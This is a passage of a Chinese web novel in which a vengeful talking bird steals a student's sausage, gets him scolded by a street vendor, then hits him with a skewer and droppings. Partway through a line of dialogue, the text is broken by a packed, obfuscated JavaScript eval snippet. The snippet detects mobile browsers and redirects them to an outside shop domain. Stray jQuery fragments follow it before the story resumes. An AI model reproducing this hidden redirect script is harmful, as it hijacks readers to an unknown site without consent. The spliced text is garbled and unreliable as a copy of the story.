覃渚低头看了看空荡荡的外套口袋,顺着方才那道残影消失的方向抬手指去,对着喋喋不休的老板娘缓缓开口解释:“刚才有只鸟,把你的香肠叼走。”
可摆摊多年的老板娘哪里肯信这种说辞,她双手往腰上一叉,上下打量着身姿挺拔的覃渚,阴阳怪气地嗤笑出声:“哟,我还看到某些人的脸皮掉地上了呢!小小年纪长得人模人样,做错事不敢认也就罢了,还拿一只鸟来当挡箭牌,我活这么大岁数,可从没见过这么会狡辩的大学生!”
周遭驻足围观的路人、路过的学生纷纷侧目,一道道玩味又看热闹的目光落在覃渚身上,让他周身的清冷气场彻底被打破,无端染上几分窘迫。
“摊位门口全程有监控,不信可以调监控核对。”覃渚单手插兜,指着上方的监控,冷静地说。
这话一出,方才气焰嚣张,步步紧逼的老板娘瞬间收了脾气,脸上的讥讽笑意消失,眼底的嚣张气焰瞬间褪去。
她这街边小摊本就是临时占道经营,手续不全,最怕的就是城管巡查、调取监控核对,一旦引来工作人员,别说赚这点烤肠、钵钵鸡的小钱,整个摊位都要被当场取缔没收,得不偿失。
老板娘,脸色青一阵白一阵,狠狠瞪了覃渚一眼,嘴里依旧不干不净地骂骂咧咧:“行行行,算你会说!懒得跟你废话!”
说完,她不敢停留半分,手忙脚乱地收拾摊位上的烤肠机、食材和厨具,动作仓促又慌乱,嘴里不停嘟囔抱怨着晦气,急匆匆推着小摊车转身走远。
围观的路人见没了热闹可看,也渐渐散去,小店门口恢复了往日的热闹平和,覃渚一人站在原地,手里拎着刚买的钵钵鸡,心底闷气。
而此刻,不远处浓密的香樟树冠里,一道小巧斑斓的身影稳稳藏匿在枝叶缝隙之间,将这一幕尽收眼底。
米耿稳稳扒着粗壮的树枝,羽翼藏在浓密绿叶间,将自己遮挡得严严实实。他两只小爪子牢牢抓着刚刚抢来的烤肠,小口小口美滋滋啃得津津有味,焦香浓郁的肉味在口腔肆意弥漫,幸福感爆棚。圆溜溜的琉璃色眼眸死死盯着树下的覃渚,看着仇人被老板娘当众嘲讽,心底的得意和畅快几乎要溢出来,小小的身子都跟着轻快晃动起来。
“哈哈哈!太解气了!”米耿在心底疯狂窃喜,“让你欺负我!让你把我丢进臭气熏天的垃圾堆!现在好了,你的报应来了!真是大快人心!
他一边美滋滋咀嚼着喷香的烤肠,一边幸灾乐祸地看戏,越看越开心,连日来受的委屈在这一刻感觉没啥。
不一会儿,一根油润焦香的烤肠就被他吃得干干净净,连一点肉渣都没剩下。吃饱喝足的米耿心情大好,浑身轻盈舒畅,养了多日的伤势渐渐痊愈,羽翼舒展有力,恢复了灵动矫健的姿态。
他摸摸圆滚滚的肚子,满足地打了个饱嗝,挥挥翅膀,哼起歌来,“生活真是美哪~”
他准备把眼爪间残留的细细长长的烤肠木签丢掉,突然,灵光闪现,他眼底闪过一抹狡黠又顽皮的坏心思,他双手叉腰,小脚点地,“小仇,你的“福气”又来了,快接住喔!”
覃渚拿了东西走在回寝室的路上,他眉头紧锁,神色沉沉,刚才那只小鸟好像之前他救的那只,但是灯光刺眼没能看清小鸟的全貌,如果是那只鸟的话,还挺好的,他之前还在担心它是不是遇到什么不好的了,现在看来过得还挺好的。
米耿跟踪他,飞在他的正上方,“嗨喽,没有脸皮的帅哥,俺又来了。”他对着身下的人坏笑,头找准时机,接着微微俯身,瞄准他那颗黑色的发顶,爪子轻轻一松。
细长坚硬的烤肠木签顺着晚风直直坠落,精准无误地往下坠去,“唰”的一下,狠狠插进了覃渚后颈的衣领缝隙里!
坚硬的木签端头尖锐锋利,直直扎在脖颈细嫩的肌肤上,带来一阵尖锐刺痛。
“啊,好痛!”
突如其来的刺痛让覃渚浑身一僵,忍不住低呼,他下意识抬手往后颈摸去,指尖在衣领里摸索片刻,终于捏到根细细长长的硬物,他用力一扯,将整根拽了出来。
天上掉下根烤肠木签?上面还有烤肠味儿。
“谁这么没道德,竟敢高空抛物?”
他下意识抬头,想要抬头查看上方,查清到底是谁在恶作剧。
可他脑袋刚刚抬起,头顶上空的米耿早已蓄势待发,看准时机,腹部微微用力。
一坨温热粘稠、带着淡淡腥气的鸟屎,精准无误,直直下坠,不偏不倚糊在了覃渚的右眼眼皮上!
“不用谢!”米耿看着他脸被自己的排泄物沾到,捏着鼻子挥挥翅膀,“真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936754|213735||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
臭啊!适合待在垃圾桶里!”
温热粘稠的触感瞬间覆盖眼皮,黏腻厚重,糊得他眼睛瞬间无法睁开,视线彻底被遮挡,刺鼻的异味萦绕鼻尖。
“什么东西?!”
“鸟屎!”
覃渚僵在原地,不远处还没完全走远的零星路人、返校的学生,全都清晰目睹了这滑稽又好笑的一幕,纷纷停下脚步,捂着嘴巴偷偷憋笑。覃渚死死咬紧后槽牙,胸腔怒火熊熊燃烧,眼底满是戾气。他在心底疯狂暗骂:还好你不是人!
他的纸巾被兄弟跑厕所跑完了,现在他连擦拭的东西都没有。万般无奈之下,他只能强忍恶心与愠怒,微微闭眼,低头抬手,用干净的衣袖狠狠擦拭着眼皮上粘稠的污渍,一遍又一遍,直到彻底擦干净为止。
米耿藏在他旁边的大树树梢上,他趴在枝叶间,看得乐不可支,捂住嘴憋笑快憋出内伤了。
哈哈哈!活该!让你以前欺负本王子!这就是你欠我的!
他傲娇地晃了晃斑斓的尾羽,看着下方满脸黑线的覃渚,心里畅快又惬意。
报复完毕,玩心得到极大满足的米耿,不再逗留,轻轻振翅,化作一道彩色流光,悄无声息地掠过树梢,顺着晚风悠然飞回温暖安稳的鸽窝,因为鸽子婆婆就要回家了。
覃渚受双重暴击,脸色阴沉得吓人,他脚步沉重又飞快。大步流星赶回寝室,进门第一件事就是冲进卫生间。
他直接脱了衣服扔进垃圾桶里。花洒里的冷水浇落,覃渚一遍又一遍揉搓脖颈、眉眼,仔细清理身上每一处皮肤,恨不得把一层皮都搓掉,最后用光了半瓶沐浴露才罢休。
换了一身干净衣服,覃渚才沉着脸走出卫生间,心底的火气依旧没有半点消散。
沈愈白正拎着行李箱进门,“原来你在寝室呢——”他注意到覃渚脸色阴沉难看,整个人状态差到了极点,不由得满脸好奇,挑眉打趣:“怎么了?谁惹我们高冷学神生气了?这脸色黑得跟锅底一样。”
覃渚坐到椅子上,指尖抵着眉心,从齿缝里挤出两个字:“见鬼了。”
“鬼?”
沈愈白听得一头雾水,还想继续追问,却见覃渚没有多说的欲望,他一边整理衣服,一边对着覃渚说:“说起这个,我跟你说,我家才是真的见鬼了。”